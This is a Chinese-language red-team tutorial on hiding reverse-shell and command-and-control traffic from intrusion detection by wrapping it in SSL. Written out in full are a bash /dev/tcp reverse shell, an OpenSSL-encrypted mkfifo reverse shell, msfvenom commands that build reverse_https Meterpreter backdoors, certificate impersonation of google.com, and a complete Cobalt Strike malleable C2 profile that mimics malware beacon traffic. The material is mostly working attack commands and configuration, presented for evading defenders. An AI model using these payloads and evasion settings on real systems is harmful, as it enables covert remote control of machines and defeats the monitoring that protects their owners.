[toc]

前言

在红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要进行横行渗透,反弹shell是再常见不过的事情了,在 《反弹Shell,看这一篇就够了》 这篇文章里,我总结了很多常见的反弹shell的方法。除了这些之外,我们还可以使用Metasploit或Cobalt Strike等工具获得目标的shell。但是这些反弹 shell 方式都有一个缺点,那就是 所有的流量都是明文传输的

如果反弹 shell 都是明文传输,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会检测出通信内容中带有的攻击特征,并对当前通信进行告警和阻止。此时,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程,阻断红队行为,红队就无法进行渗透行为了。所以,我们需要对 shell 中通信的内容进行混淆或加密,实现动态免杀。

在本节中,我们将介绍如何使用 OpenSSL 对 nc、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过IDS或者防护软件分析设备和工具,实现动态免杀。

OpenSSL

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

实验环境

受害机:

  • Windows 10:192.168.0.103
  • Ubuntu:192.168.0.108

攻击机

  • Kali Linux:192.168.0.100

黑客通过Kali进行攻击,发现漏洞后获得了Windows 10和Ubuntu两个系统的权限,分别使用 netcat、Metasploit和Cobalt Strike反弹shell。但是目标系统所在的网络区域存在IDS等流量监测设备,为了防止被监控后查杀,我们需要分别对 netcat、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过IDS或者防护软件分析设备和工具,实现动态免杀。

NetCat 流量加密

  • 实验环境:Kali Linux 攻击 Ubuntu

Nc(瑞士军刀)它也是一个功能强大的网络调试和探测工具,能够建立需要的几乎所有类型的网络连接,支持Linux和Windows环境,红队喜爱工具之一。

首先来演示nc正常情况下反弹shell是如何被对方流量监控到的。

攻击机kali上面执行如下命令开启监听:

1
nc -lvp 2333

image-20210219220845685

Ubuntu上面执行如下命令将自己的shell反弹到攻击机kali上去:

1
bash -c "bash -i>& /dev/tcp/192.168.0.100/2333 0>&1"

如下图所示,攻击机kali上成功拿到了Ubuntu的shell:

image-20210219221159726

此时,在Ubuntu上使用Wireshark对当前使用的网卡(我这里是ens33)进行流量抓包分析:

image-20210219221438535

此时攻击者开始执行命令对控制目标主机:

image-20210219221649201

此时,受害者Ubuntu上的wireshark便会抓到一系列数据包,随便追踪一个的TCP流:

image-20210219222105010

可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。

那么接下来将演示如何使用OpenSSL对nc进行流量加密。

1. 使用 OpenSSL 生成自签名证书

在使用OpenSSL对nc进行流量加密之前,需要先在攻击机上生成自签名证书:

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,在桌面有两个pem加密文件:

image-20210219222617671

2. 使用 OpenSSL 对 NC 流量进行加密

攻击机kali上面执行如下命令使用 OpenSSL 开启一个监听:

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

image-20210219222754764

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

然后 Ubuntu 上面执行如下命令将自己的shell反弹到攻击机kali上去:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s

image-20210219223017265

如上图所示,攻击机kali上成功拿到了Ubuntu的shell。

此时再次在受害机Ubuntu上使用wireshark抓包,然后攻击机对Ubuntu执行一波命令,即可抓到二者之间通信的数据包:

image-20210219223407838

随便追踪一个TCP流进行分析:

image-20210219223651189

可见此时看到的信息都是乱码,二者之间的通信经过了加密。

Metasploit 流量加密

  • 实验环境:Kali Linux 攻击 Windows 10

Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。下面开始演示如何对 Metasploit 进行流量加密。

1. 使用 OpenSSL 创建 SSL/TLS 证书

1
2
3
4
5
6
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

这里模拟的是google的SSL证书信息,也可以自行修改可信度高的证书。

image-20210219224536569

检查google的key生成情况:

image-20210219224631943

正常。

2. 生成后门

创建完证书后,我可以为其创建HTTP或HTTPS类型的有效负载,并为其提供PEM格式的证书以用于验证连接。

1
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.100 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.google.com.pem StagerVerifySSLCert=true -f exe -o shell.exe
  • HandlerSSLCert:向处理程序通知所使用的PEM证书。
  • StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
  • PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。

image-20210220105413457

也可以生成一个psh类型的木马:

1
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.100 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o shell.bat

3. 启动监听

1
2
3
4
5
6
7
use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.100
set LPORT 4444
set HandlerSSLCert /root/www.google.com.pem
set StagerVerifySSLCert true
exploit

image-20210220105859605

配置侦听器时还需要使用两个附加选项HandlerSSLCert和StagerVerifySSLCert。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。

将生成的木马shell.exe上传到目标主机Windows 10,并执行即可得到Windows 10的meterpreter:

image-20210220110149995

此时受害者主机Windows 10上开启wireshark监听,攻击者执行命令进行后渗透,wireshark即可捕捉到攻击流量:

image-20210220110612356

随便追踪一个TCP流进行分析:

image-20210220110735568

可见此时看到的TCP流中信息都是乱码,二者之间的通信经过了SSL加密。

impersonate_ssl 模块

此外Metasploit框架还有一个 auxiliary/gather/impersonate_ssl 模块,可以用来自动从信任源创建一个虚假证书,十分方便:

image-20210220111127476

使用方法如下:

1
2
3
use auxiliary/gather/impersonate_ssl 
set RHOST www.google.com
run

执行run命令后,即可自动生成可信度高的PEM证书:

image-20210220111559038

PEM证书生成后,即可像之前那样使用了。

Meterpreter Paranoid Mode

使用Meterpreter Paranoid Mode工具可以对上述过程实现完全自动化,该工具的完全使用说明可以查看:https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL

Cobalt Strike 流量加密

  • 实验环境:Kali Linux 攻击 Windows 10

Cobalt Strike 是很多红队的首选的攻击神器,在后渗透方面效果显著很好,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。接下来将演示如何对Cobalt Strike进行流量加密。

在运行 Cobalt Strike 时,默认使用的证书是 cobaltstrike.store:

image-20210220112847729

下面我们将使用新的技术生成新的证书来逃避IDS检测。

1. 生成证书

首先我们利用keytool工具生成一个证书:

1
keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore whoami.store

image-20210220113255479

(具体的可自行修改)

如上图,成功生成了一个名为 whoami.store 的证书,将其放到 Cobalt Strike 目录里。

2. 创建 C2-profile 文件

C2-profile 文件是 Cobalt Strike 内置工具,用于控制 Cobalt Strike 流量,可以防止安全设备对流量特征进行监控和拦截。

在 Cobalt Strike 创建一个 whoami.profile 文件,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
set sample_name "dayu POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "whoami";
set O "Microsoft";
set C "en";
set L "US";
set OU "Microsoft";
set ST "US";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "whoami.store";
set password "657260";
set alias "whoami";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";

http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}

http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}

主要需要修改的是https-certificate和code-signer两处地方,对应keytool填写的信息即可。

然后利用 Cobalt Strike 的 c2lint 来验证 whoami.profile 是否成功生成和执行:

1
./c2lint whoami.profile

image-20210220115423393

image-20210220115648052

如上图可看到是成功的。

3. 配置 teamserver

teamserver 默认端口是 50050 很容易被检测出来,我们将修改端口防止其被检测出来。直接修改teamserver文件即可:

1
vim teamserver

image-20210220115951441

如上图,将端口改为50000。

4. 成功控制

此时便可以启动 Cobalt Strike,创建HTTP或HTTPS类型的有效负载了。

image-20210220120520216

进入后创建Linsten监听,选择HTTPS:

image-20210220120753161

然后通过Cobalt strike生成的各种类型的木马,上传到目标主机Windows 10后执行,成功上线:

image-20210220121140490

此时受害者主机Windows 10上开启wireshark监听,攻击者执行命令进行后渗透,wireshark即可捕捉到攻击流量:

image-20210220121546596

随便追踪一个TCP流进行分析:

image-20210220121803543

如上图所示,在Wireshark查看到Tcp流信息是经过加密传输的乱码形态,成功加密。

Ending……

参考:

https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation

https://www.freebuf.com/articles/web/259222.html